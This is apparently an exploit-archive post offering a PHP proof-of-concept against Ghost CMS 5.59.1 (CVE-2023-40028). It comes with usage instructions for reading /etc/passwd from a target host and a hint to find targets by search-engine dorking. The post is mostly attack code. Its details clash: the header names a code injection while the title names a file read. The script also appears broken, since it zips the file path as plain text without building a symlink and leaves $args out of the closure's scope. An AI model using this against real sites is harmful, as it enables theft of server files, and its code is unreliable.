Ghost CMS 5.59.1 Arbitrary File Read

=============================================================================================================================================
    | # Title     : Ghost CMS v 5.59.1 PHP Code Injection Vulnerability                                                                         |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits)                                                            |
    | # Vendor    : https://ghost.org/                                                                                                          |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description:
    
       To exploit the CVE-2023-40028 (Symlink Upload to Arbitrary File Read in Ghost CMS) vulnerability using this PHP script, you need to follow some basic steps to run the script properly. 
       These are the steps to follow for the exploit:
       1. Set up the Target
       Make sure that you have access to the Ghost CMS system that contains the CVE-2023-40028 vulnerability. 
       This vulnerability is related to uploading and reading symlink files in an insecure manner in the Ghost CMS.
       2. Install the required libraries
       Before you can successfully run the script, make sure that you have installed all the required libraries, such as the GuzzleHttp library that the script uses to send HTTP requests.
     
    [+] save code as poc.php .
    
    [+] USage : C:\www>php 2.php -t http://example.com -f /etc/passwd
    
    [+] PayLoad :
    
    <?php
    // This script is used to exploit CVE-2023-40028 (Symlink Upload to Arbitrary File Read in Ghost CMS).
    
    use GuzzleHttp\Client;
    use GuzzleHttp\Exception\RequestException;
    
    // تأكد من وجود المعاملات قبل استخدامها
    $options = getopt("t:f:u:p:c:x:", ['timeout:', 'useragent::']);
    if (!isset($options['t'])) {
        echo "Error: Target URL is required\n";
        exit(1);
    }
    
    $args = [
        'url' => $options['t'],
        'file' => $options['f'] ?? null,
        'username' => $options['u'] ?? null,
        'password' => $options['p'] ?? null,
        'cookie' => $options['c'] ?? null,
        'timeout' => $options['timeout'] ?? 3,
        'useragent' => $options['useragent'] ?? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
    ];
    
    // Input-checking
    if (!preg_match("/^https?:\/\//", $args['url'])) {
        $args['url'] = "http://" . $args['url'];
    }
    
    // دالة مخصصة لقراءة الملفات
    $readFile = function($fileToRead) {
        // Upload files
        $randchars = bin2hex(random_bytes(13));
        $zipfilename = "{$randchars}.zip";
        $pngfilename = "{$randchars}.png";
    
        // Create zip
        $zip = new ZipArchive();
        if ($zip->open($zipfilename, ZipArchive::CREATE) === TRUE) {
            $zip->addFromString("content/images/{$pngfilename}", $fileToRead);
            $zip->close();
        } else {
            echo "Error: Failed to create zip file\n";
            return;
        }
    
        // Upload zip
        $client = new Client();
        try {
            $response = $client->request('POST', $args['url'] . "/ghost/api/v3/admin/db", [
                'multipart' => [
                    [
                        'name'     => 'importfile',
                        'contents' => fopen($zipfilename, 'r'),
                        'filename' => $zipfilename
                    ]
                ],
                'timeout' => $args['timeout']
            ]);
            if ($response->getStatusCode() != 200) {
                echo "Error: Archive upload failed\n";
                return;
            }
    
            // Read image
            $response = $client->request('GET', $args['url'] . "/content/images/{$pngfilename}", [
                'timeout' => $args['timeout']
            ]);
            if ($response->getStatusCode() != 200) {
                echo "Error: File read failed\n";
                return;
            }
    
            $fileContents = $response->getBody()->getContents();
            echo $fileContents;
        } catch (RequestException $e) {
            echo "Error: " . $e->getMessage() . "\n";
        }
    };
    
    // Authentication check
    $client = new Client(['timeout' => $args['timeout']]);
    
    if ($args['cookie']) {
        try {
            $response = $client->request('GET', $args['url'] . "/ghost/api/v3/admin/session/");
            if ($response->getStatusCode() == 200) {
                echo "[+] Admin session is valid.\n";
            } else {
                echo "Error: Invalid cookie\n";
                exit(1);
            }
        } catch (RequestException $e) {
            echo "Error: " . $e->getMessage() . "\n";
            exit(1);
        }
    } else if ($args['username'] && $args['password']) {
        $data = ['username' => $args['username'], 'password' => $args['password']];
        try {
            $response = $client->request('POST', $args['url'] . "/ghost/api/v3/admin/session/", [
                'json' => $data
            ]);
            if ($response->getStatusCode() == 201) {
                echo "[+] Admin session created successfully.\n";
            } else {
                echo "Error: Invalid username/password pair\n";
                exit(1);
            }
        } catch (RequestException $e) {
            echo "Error: " . $e->getMessage() . "\n";
            exit(1);
        }
    } else {
        echo "Error: You must provide either a cookie or a username/password pair.\n";
        exit(1);
    }
    
    // Execute
    if ($args['file']) {
        $readFile($args['file']);
    } else {
        echo "Error: No file path provided\n";
        exit(1);
    }
    ?>
    
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================